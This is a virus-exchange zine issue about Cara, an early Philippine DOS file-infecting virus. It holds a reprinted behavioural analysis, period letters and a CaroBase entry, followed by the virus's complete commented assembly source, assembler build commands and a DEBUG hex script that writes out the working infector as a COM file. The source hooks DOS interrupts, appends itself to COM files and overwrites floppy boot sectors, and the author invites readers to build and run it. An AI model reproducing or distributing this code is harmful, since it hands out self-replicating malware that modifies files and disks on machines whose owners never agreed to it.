Cara.Standard.1024 (ASM and DEBUG script)
hexfiles issue 1
Cara is the first file-infecting virus that originated from the Philippines. It is just fitting that the first issue of HEX-FILES includes this virus.
For the analysis of the virus, I will give way to August Li's article which appeared in OnDisk! Magazine No. 7 (July 1991) and the entry of Cara in CaroBase.
COMMENTS ON CARA by AUGUST LI
CARA: A Commented Disassembly by August Li
I have almost fully disassembled the virus and here are my findings.
Virus name : Clandestino Auto-Reproductivo Anti-virus (C.A.R.A.)
Description:
1. Infects COM files only.
2. Adds 1024 bytes to infected file.
3. Occupies 2048 bytes in memory.
4. Checks system memory if it has been decreased. It will display the following message and exit the program.
Virus es en memoria!
Clandestino
Auto-
Reproductivo
Anti-virus
5. Will go memory resident if Int 61, Int 62, Int 63, Int 64 are free. If not, it simply chains to the original COM file.
6. Takes over Int 20, Int 21, Int 13 and when executing, will intercept Int 24 in order to handle critical errors.
7. At every fourth floppy disk read, the boot sector is checked for presence of the following virii: (The ID used is only ONE WORD, so the probability of false alarms are very high.)
a.) Italian Bouncing Ball (Ping Pong)
b.) Microbe
c.) Stoned
d.) (c)Brain
e.) <unknown> (last two virii I could not identify)
f.) <unknown>
If any of the virii is present, the boot sector is overwritten with C.A.R.A.'s own code, which simply displays the following message (with a beep) and halts the boot up process:
Disco es infectado.Reemplaza "Boot".
Clandestino
Auto-
Reproductivo
Anti-virus
If none of the virii is present, it stamps the boot sector with a boot vaccine. The vaccine is "Tri vaccine" w/c protects against:
a.) (c)Brain
b.) Pentagon
c.) Microbe
8. It monitors the following DOS functions:
a.) Open file
b.) Get/Set file attribute
c.) Execute program
d.) Rename file. If the filename has a 'COM' extention, it will proceed to infect the file.
Comments: This virus is a local virus, since it can detect Microbe. This virus uses VIR-X's Tri Vaccine. This virus is detectable and removable by VIR-X, although it is not documented in VIR-X. (Hey, Luis, this needs some explanation ...) This virus is an anti-virus virus, although I do not think that making it a virus is a good idea since no one has control over it.
1. It is easy to modify it to become destructive.
2. It might hang systems running multitaskers, other TSRs, etc.
3. It occupies unnecessary diskspace due to multiple copies.
4. It takes up memory.
5. Not everyone appreciates having vaccines on the boot sector of their floppy disks. (Vaccines causes problems on some non- standard disks, e.g. copy protected disk)
Search string for SCAN users: You can add this line to a text file (e.g. VIRUS.SIG) that can be used by SCAN to detect C.A.R.A. (e.g. SCAN /EXT VIRUS.SIG):
"B44ABB00B0CD2181EBC000B44ACD21B4" C.A.R.A.
PsK Comment:
In addition to August Li's comments, a letter appeared on March 1991 issue of PC Digest regarding Cara vis-a-vis Luis Sarmenta's Vir-X Plus:
"Speaking of viruses, the version of VIR-X Plus is the only anti- virus which I have detects the presence of the C.A.R.A. virus despite the absence of VIR-X.FVS. I believe that VIR-X Plus is the only anti-virus utility which detects this virus."
The response appeared on the April 1991 issue of PC Digest:
"Vir-X author Luis Sarmenta confirms that his program does indeed handle this virus. He adds, however, that it does not do any intentional harm. He notes: `In fact, it is an anti-virus, C.A.R.A. means Clandestino Auto-Reproductivo Anti-Virus. I think it's not a harmful virus in itself but the panic it may cause could be a big problem.' To avoid panic, Sarmenta did not mention the virus in the documentation of Vir-X Plus."
If you want to get more info and specifics on Cara, I will have to refer you to Mr. Sarmenta. The last I heard is that he is studying in USA. His last e-mail address is
lfgs@mit.edu
End of PsK Comment
--------------------
-----------------------------------------------------------
----------------- CAROBASE ENTRY FOR CARA -----------------
-----------------------------------------------------------
NAME : CARA
ALIASES :
TARGETS : .COM
RESIDENT : TWIXT (the PSP is retained by TSR)
MEMORY_SIZE : 3k + 256 (original PSP from time of installation)
STORAGE_SIZE : 1k + 1 (garbage)
WHERE : APPENDING
STEALTH : NONE
POLYMORPHIC : NONE
ARMOURING : NONE
TUNNELING : NONE
INFECTIVITY : 5
OBVIOUSNESS : SLIGHTLY
COMMONNESS : ???
COMMONNESS_DATE : ???
TRANSIENT_DAMAGE : NONE
PERMANENT_DAMAGE : NONE
T_DAMAGE_TRIGGER : NONE
P_DAMAGE_TRIGGER : NONE
SIDE_EFFECTS : Interrupt vectors 61h..64h are used to store the
previous vectors for interrupts 21h, 20h, 13h and
24h. After infection the file date/time is read
and immediately written again (not sure if this
will preserve original date/time).
INFECTION_TRIGGER : (Open || get/set_attr || Load || Rename) && (4096
<= Filesize < 32767)
MSG_DISPLAYED : [1] (during install if the value returned by Int
12h is not divisible by 16) "
Virus es en memoria!
Clandestino
Auto-Reproductivo
Anti-virus
"
[2] (during floppy boot from installed payload) "
Disco es infectado. Reemplaza Boot.
Clandestino
Auto-Reproductivo
Anti-virus
"
MSG_NOT_DISPLAYED : NONE
INTERRUPTS_HOOKED : 21/00, 21/3D, 21/43, 21/4B, 21/4C, 21/56, 20,
13/02, 24
SELFREC_IN_MEMORY : Any of Interrupt vectors 61h..64h non-zero
SELFREC_ON_DISK : File[4] == "CARA"
LIMITATIONS : NONE
COMMENTS : matching is for ".COM" (case-insignificant)
anywhere in the filename which will not always be
a .COM file. Int21;ah=0 and Int20 are trapped
once only, to TSR the PSP. Int13;ah=2 is used (1
in 4 times, according to a mod4 counter that
counts the following events: sector read
operation, bootsector read failed, bootsector
successfully written by virus) in order to check
bootsectors of disks in the first 3 floppy drives
(when a read operation is expected) against 6
known bootsector viruses and install the payload
program in the bootsector (108 bytes at offset
7Fh, with an initial jump from offset 0) if one
of these 6 is found. Recognises Bootsector[100h]
== 1B1h; 6C0h; 0CD00h; 2073h; 2020h; 0C982h. The
payload overrides the previous bootsector program
and prints the warning message. If none of these
values is found, the 8 OEM bytes at bootsector[3]
are overwritten with the (hex) byte sequence 01
34 12 25 12 8C C8 8C
ANALYSIS_BY : Adam David, Frisk Software Intl
DOCUMENTATION_BY : Adam David, Frisk Software Intl
ENTRY_DATE : 28.7.93
LAST_MODIFIED : 28.7.93
SEE_ALSO :
END.
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-What follows is the assembly source of Cara.Standard.1024 virus. If you want to create the original virus (including the insertion of nops), you will have to use masm 5.0 to compile this program:
masm cara-std;
link cara-std;
exe2bin cara-std.exe cara-std.comIf you are going to use a86 4.02 (it will not create an exact copy of the original virus), you need to place a size override (byte ptr) on memory operands with immediate second operand. compile in a86 to know what part of the code needs fixing.
you will not get the original virus exactly if you use tasm, which suppresses the nops.
I tried to run my specimen of the virii nor the first generation of the virii on a 386 up to pentium cpus, but was unsuccesful. You might be able to run the infected programs on an XT or 286 based computers.
--- CARA-STD.ASM STARTS HERE -------------------------------------------
cara segment
assume cs:cara,ds:cara
org 100h
_0c01: pushf
push ds
push es
jmp _0c03
_0d02 db 0cdh,20h,'HEX-FILES' ; this should be 11 bytes
_0c03: cli ; memory self-recognition
xor ax,ax
mov ds,ax
mov si,(61h*4) ; check if int 61-64 is used
mov cx,8
_0c04: lodsw
cmp ax,0
jnz _0c06
loop _0c04
push cs
pop ds
push ds
pop es
sub word ptr ds:[2],0c0h ; reset top of memory
mov ah,4ah
mov bx,0b000h
int 21h
sub bx,0c0h ; release memory required
mov ah,4ah
int 21h
mov ah,48h ; allocate memory
mov bx,80h
int 21h
mov es,ax
_0d05: mov si,offset _0c01 ; copy virii code to allocmem
mov di,offset _0c01
mov cx,offset _0d63-100h
cld
repe movsb
push es
pop ds
mov ds:[_0d23],1
call _0c08
mov ax,2162h ; save int 21
call _0c10
mov ax,2063h ; save int 20
call _0c10
mov ax,1361h ; save int 13
call _0c10
cli
xor ax,ax
mov ds,ax
mov word ptr ds:[(21h*4)],offset _0c31 ; hook int 21
mov word ptr ds:[((21h*4)+2)],es
mov word ptr ds:[(20h*4)],offset _0c11 ; hook int 20
mov word ptr ds:[((22h*4)+2)],es
mov word ptr ds:[(13h*4)],offset _0c14 ; hook int 13
mov word ptr ds:[((13h*4)+2)],es
sti
_0c06: push cs
pop es
push cs
pop ds
_0d07: mov si,offset _0d02 ; restore victim file
mov di,100h
mov cx,11
cld
repe movsb
pop es
pop ds
popf
push cs
mov ax,100h
push ax
retf ; execute victim file
_0c08: int 12h ; get base memory
and ax,15 ; check for boot virus
jz _0c09
mov ah,9 ; show virus memory message
mov dx,offset _0d25
int 21h
mov dx,offset _0d30
int 21h
_0c09: ret
_0c10: push cx ; save interrupt routine
push si
push di
push ds
mov di,ax
mov cl,2
shl di,cl
and di,3fch
mov cl,6
shr ax,cl
and ax,3fch
mov si,ax
xor ax,ax
mov ds,ax
cli
mov ax,[si]
mov [di],ax
mov ax,[si+2]
mov [di+2],ax
sti
pop ds
pop di
pop si
pop cx
ret
_0c11: pop ax ; retain psp as tsr
pop ax
popf
mov es,ax
push cs
pop ds
mov si,offset _0c12
mov di,100h
mov cx,100h
cld
repe movsb
mov ds:[_0d23],0
mov ax,6320h
call _0c10
push es
mov ax,offset _0c01
push ax
retf
_0c12: mov dx,16
int 27h
_0d13 db 1,34h,12h,25h,12h,8ch,0c8h,8ch ; vir-x boot sector
; tri-vaccine
_0c14: push es ; int 13 handler
push ds
push si
push di
push ax
push bx
push cx
push dx
pushf
sti
cmp dl,2
ja _0c16
cmp ah,2
jz _0c15
jmp _0c16
_0c15: push cs
pop es
push es
pop ds
cmp byte ptr [_0d24],4
jl _0c21
mov ds:[_0d24],0
mov bx,offset _0d63
xor dh,dh
mov ax,201h
call _0c60
jnb _0c17
jmp _0c20
_0c16: jmp _0c22
_0c17: mov si,offset _0d13
mov di,offset _0d63 + 3
mov cx,8
mov ax,[di+0fdh] ;check for boot virus
cmp ax,1b1h ; pingpong
jz _0c18 ;
cmp ax,6c0h ; microbe
jz _0c18 ;
cmp ax,0cd00h ; stoned.standard
jz _0c18 ;
cmp ax,2073h ; brain
jz _0c18 ;
cmp ax,2020h ; ?
jz _0c18 ;
cmp ax,0c982h ; ?
jnz _0c19 ;
_0c18: mov word ptr [_0d63],7debh ; if virus is found overwrite
mov si,offset _0c26 ; boot sector with message
mov di,offset _0d63 + 7fh ; popper (trojan)
mov cx,6ch ; otherwise, write boot
_0c19: cld ; sector (vir-x tri) vaccine
repe movsb
mov ax,301h
call _0c60
_0c20: xor ah,ah
int 61h
_0c21: inc byte ptr [_0d24]
_0c22: popf
pop dx
pop cx
pop bx
pop ax
pop di
pop si
pop ds
pop es
int 61h
retf 0002
_0d23 db ?
_0d24 db ?
_0d25 db 'Virus es en memoria!$'
;
; message popper codes
;
_0c26: mov si,7c93h ; ((_0d29-_0c26)+7c7eh)
mov ah,0eh
xor bh,bh
mov cx, 58h ; (_0c31-_0d29)
_0c27: mov al,cs:[si]
int 10h
inc si
loop _0c27
_0c28: jmp _0c28
_0d29 db 'Disco es infectado. Reemplaza "Boot".'
_0d30 db 10,10,13,'Clandestino',13,10
db 'Auto-',13,10
db 'Reproductivo',13,10
db 'Anti-virus',13,10,1,7,'$'
_0c31: jmp _0c35
_0d32 db 0e9h
_0d33 dw ?
db 13
_0d34 db 'CARA',1,7,1ah
_0c35: pushf ; int 21 handler
cmp ah,0 ; is it terminate?
jnz _0c36
popf
push cs
mov ax,offset _0c11 ; jump to retain psp
push ax
retf
_0c36: cli
push si
push di
push es
push cx
push bx
push ax
push dx
push ds
push ax
mov ax,2464h ; save and hook int 24
call _0c10
xor ax,ax
mov ds,ax
mov word ptr ds:[90h],offset _0c57
mov ds:[92h],cs
pop ax
pop ds
push ds
cmp ah,4ch ; is it terminate?
jnz _0c38
push ax
push ds
push cs
pop ds
cmp byte ptr [_0d23],0
jnz _0c37
pop ds
pop ax
jmp _0c38
_0c37: pop ds
pop ax
push cs
pop ds
mov byte ptr [_0d23],0
mov ax,6320h
call _0c10 ; restore int 20
pop ds
pop dx
pop ax ; retain psp
mov ah,31h
mov dx,16h
push ax
push dx
push ds
_0c38: cmp ah,3dh ; open file
jz _0c39
cmp ah,43h ; file attribute
jz _0c39
cmp ah,4bh ; exec program
jz _0c39
cmp ah,56h ; rename file
jnz _0c44
_0c39: mov bx,dx
mov cx,bx
mov ax,2eh ; get end of filespec
_0c40: cmp al,[bx]
jnz _0c41
mov cx,bx
jmp _0c42
_0c41: cmp ah,[bx]
jz _0c43
_0c42: inc bx
jmp _0c40
_0c43: cmp cx,dx ; check for com
jz _0c44
mov bx,cx
mov ax,'Cc'
call _0c58
jnz _0c47
mov ax,'Oo'
call _0c58
jnz _0c47
mov ax,'Mm'
call _0c58
jz _0c45
_0c44: jmp _0c47
_0c45: pop ds
push ds
mov cx,21h
mov ax,4300h
int 62h
push cx
and cx,0feh ; clear read only attrib
mov ax,4301h
int 62h
mov ax,3d02h ; open file red/write
int 62h
jb _0c46
mov bx,ax ; save handle
mov cx,0
mov dx,1
mov ax,4202h ; get file length: eof+1
int 62h
cmp ax,0
jl _0c48
cmp ax,1000h ; is it 4096 (4095+1)
jl _0c51 ; exit if less
jmp _0c48
_0c46: pop cx
_0c47: jmp _0c49
_0c48: mov cx,0
mov dx,0
mov ax,4200h ; pointer to start of file
int 62h
jb _0c51
push cs
pop ds
push ds
pop es
mov cx,11
mov dx,offset _0d02
mov ah,3fh ; read 11 bytes
int 62h
jb _0c51
mov si,offset _0d34
mov di,offset _0d02 + 4
mov cx,4
cld
repe cmpsb ; infect check look for "CARA"
jz _0c51
jmp _0c50
_0c49: jmp _0c54
_0c50: push cs
pop ds
mov cx,0
mov dx,1
mov ax,4202h ; move ptr to eof+1
int 62h
jnb _0c52
_0c51: jmp _0c53
_0c52: add ax,offset _0c01 ; set up pointers for install
mov ds:[_0d05+1],ax
sub ax,103h
mov [_0d33],ax
add ax,109h
mov ds:[_0d07+1],ax
mov cx,offset _0d63-100h
mov dx,offset _0c01
mov ah,40h ; write virii to eof+1
int 62h
jb _0c53
mov cx,0
mov dx,0
mov ax,4200h
int 62h
jb _0c53
mov cx,11
mov dx,offset _0d32
mov ah,40h ; write virii sig & jumper
int 62h
_0c53: pop cx
pop ds
pop dx
push dx
push ds
mov ax,4301h ; reset file attribute
int 62h
mov ax,5700h
int 62h
mov ax,5701h ; preserve file time/date
int 62h
mov ah,3eh ; close file
int 62h
_0c54: mov ax,6424h ; restore int 24
call _0c10
pop ds
pop dx
pop ax
pop bx
pop cx
pop es
pop di
pop si
popf
push ds
push ax
xor ax,ax
mov ds,ax
mov ax,ds:[18ah]
mov cs:[_0d56],ax
mov ax,ds:[188h]
mov cs:[_0d55],ax
pop ax
pop ds
db 0eah ; execute original int 21
_0d55 dw ?
_0d56 dw ?
_0c57: mov al,3
iret
_0c58: inc bx
cmp ah,[bx]
jz _0c59
cmp al,[bx]
_0c59: ret
_0c60: mov cx,4
_0c61: push cx
mov cx,1
int 61h
pop cx
jnb _0c62
push ax
xor ah,ah
int 61h
pop ax
loop _0c61
_0c62: ret
_0d63:
cara ends
end _0c01
--- CARA-STD.ASM ENDS HERE ---------------------------------------------This is the first generation of the virus created by compiling the cara-std.asm in masm 5.0.
To create an executable program, cut the debug listing below and save it in a file named cara-std.scr. Then
debug < cara-std.scrThe executable file cara-std.com is created.
Even if the virii does not work on my test machine, it might work on yours. So better know what you are doing.
--- CARA-STD.SCR STARTS HERE -------------------------------------------
N CARA-STD.COM
E 0100 9C 1E 06 EB 0C 90 CD 20 48 45 58 2D 46 49 4C 45
E 0110 53 FA 33 C0 8E D8 BE 84 01 B9 08 00 AD 3D 00 00
E 0120 75 71 E2 F8 0E 1F 1E 07 81 2E 02 00 C0 00 B4 4A
E 0130 BB 00 B0 CD 21 81 EB C0 00 B4 4A CD 21 B4 48 BB
E 0140 80 00 CD 21 8E C0 BE 00 01 BF 00 01 B9 00 04 FC
E 0150 F3 A4 06 1F C6 06 B2 02 01 90 E8 4F 00 B8 62 21
E 0160 E8 5D 00 B8 63 20 E8 57 00 B8 61 13 E8 51 00 FA
E 0170 33 C0 8E D8 C7 06 84 00 36 03 8C 06 86 00 C7 06
E 0180 80 00 EC 01 8C 06 82 00 C7 06 4C 00 1E 02 8C 06
E 0190 4E 00 FB 0E 07 0E 1F BE 06 01 BF 00 01 B9 0B 00
E 01A0 FC F3 A4 07 1F 9D 0E B8 00 01 50 CB CD 12 25 0F
E 01B0 00 74 0C B4 09 BA B4 02 CD 21 BA 02 03 CD 21 C3
E 01C0 51 56 57 1E 8B F8 B1 02 D3 E7 81 E7 FC 03 B1 06
E 01D0 D3 E8 25 FC 03 8B F0 33 C0 8E D8 FA 8B 04 89 05
E 01E0 8B 44 02 89 45 02 FB 1F 5F 5E 59 C3 58 58 9D 8E
E 01F0 C0 0E 1F BE 11 02 BF 00 01 B9 00 01 FC F3 A4 C6
E 0200 06 B2 02 00 90 B8 20 63 E8 B5 FF 06 B8 00 01 50
E 0210 CB BA 10 00 CD 27 01 34 12 25 12 8C C8 8C 06 1E
E 0220 56 57 50 53 51 52 9C FB 80 FA 02 77 29 80 FC 02
E 0230 74 03 EB 22 90 0E 07 06 1F 80 3E B3 02 04 7C 60
E 0240 C6 06 B3 02 00 90 BB 00 05 32 F6 B8 01 02 E8 9A
E 0250 02 73 06 EB 47 90 EB 4C 90 BE 16 02 BF 03 05 B9
E 0260 08 00 8B 85 FD 00 3D B1 01 74 19 3D C0 06 74 14
E 0270 3D 00 CD 74 0F 3D 73 20 74 0A 3D 20 20 74 05 3D
E 0280 82 C9 75 0F C7 06 00 05 EB 7D BE C9 02 BF 7F 05
E 0290 B9 6C 00 FC F3 A4 B8 01 03 E8 4F 02 32 E4 CD 61
E 02A0 FE 06 B3 02 9D 5A 59 5B 58 5F 5E 1F 07 CD 61 CA
E 02B0 02 00 00 00 56 69 72 75 73 20 65 73 20 65 6E 20
E 02C0 6D 65 6D 6F 72 69 61 21 24 BE 93 7C B4 0E 32 FF
E 02D0 B9 58 00 2E 8A 04 CD 10 46 E2 F8 EB FE 44 69 73
E 02E0 63 6F 20 65 73 20 69 6E 66 65 63 74 61 64 6F 2E
E 02F0 20 52 65 65 6D 70 6C 61 7A 61 20 22 42 6F 6F 74
E 0300 22 2E 0A 0A 0D 43 6C 61 6E 64 65 73 74 69 6E 6F
E 0310 0D 0A 41 75 74 6F 2D 0D 0A 52 65 70 72 6F 64 75
E 0320 63 74 69 76 6F 0D 0A 41 6E 74 69 2D 76 69 72 75
E 0330 73 0D 0A 01 07 24 EB 0C 90 E9 00 00 0D 43 41 52
E 0340 41 01 07 1A 9C 80 FC 00 75 07 9D 0E B8 EC 01 50
E 0350 CB FA 56 57 06 51 53 50 52 1E 50 B8 64 24 E8 5F
E 0360 FE 33 C0 8E D8 C7 06 90 00 E0 04 8C 0E 92 00 58
E 0370 1F 1E 80 FC 4C 75 2A 50 1E 0E 1F 80 3E B2 02 00
E 0380 75 05 1F 58 EB 1B 90 1F 58 0E 1F C6 06 B2 02 00
E 0390 B8 20 63 E8 2A FE 1F 5A 58 B4 31 BA 16 00 50 52
E 03A0 1E 80 FC 3D 74 0F 80 FC 43 74 0A 80 FC 4B 74 05
E 03B0 80 FC 56 75 35 8B DA 8B CB B8 2E 00 3A 07 75 05
E 03C0 8B CB EB 05 90 3A 27 74 03 43 EB F0 3B CA 74 1A
E 03D0 8B D9 B8 63 43 E8 0B 01 75 49 B8 6F 4F E8 03 01
E 03E0 75 41 B8 6D 4D E8 FB 00 74 03 EB 37 90 1F 1E B9
E 03F0 21 00 B8 00 43 CD 62 51 81 E1 FE 00 B8 01 43 CD
E 0400 62 B8 02 3D CD 62 72 1A 8B D8 B9 00 00 BA 01 00
E 0410 B8 02 42 CD 62 3D 00 00 7C 0C 3D 00 10 7C 47 EB
E 0420 05 90 59 EB 2F 90 B9 00 00 BA 00 00 B8 00 42 CD
E 0430 62 72 33 0E 1F 1E 07 B9 0B 00 BA 06 01 B4 3F CD
E 0440 62 72 23 BE 3D 03 BF 0A 01 B9 04 00 FC F3 A6 74
E 0450 15 EB 04 90 EB 60 90 0E 1F B9 00 00 BA 01 00 B8
E 0460 02 42 CD 62 73 03 EB 36 90 05 00 01 A3 47 01 2D
E 0470 03 01 A3 3A 03 05 09 01 A3 98 01 B9 00 04 BA 00
E 0480 01 B4 40 CD 62 72 17 B9 00 00 BA 00 00 B8 00 42
E 0490 CD 62 72 0A B9 0B 00 BA 39 03 B4 40 CD 62 59 1F
E 04A0 5A 52 1E B8 01 43 CD 62 B8 00 57 CD 62 B8 01 57
E 04B0 CD 62 B4 3E CD 62 B8 24 64 E8 04 FD 1F 5A 58 5B
E 04C0 59 07 5F 5E 9D 1E 50 33 C0 8E D8 A1 8A 01 2E A3
E 04D0 DE 04 A1 88 01 2E A3 DC 04 58 1F EA 00 00 00 00
E 04E0 B0 03 CF 43 3A 27 74 02 3A 07 C3 B9 04 00 51 B9
E 04F0 01 00 CD 61 59 73 08 50 32 E4 CD 61 58 E2 EF C3
RCX
0400
W
Q
--- CARA-STD.SCR ENDS HERE ---------------------------------------------
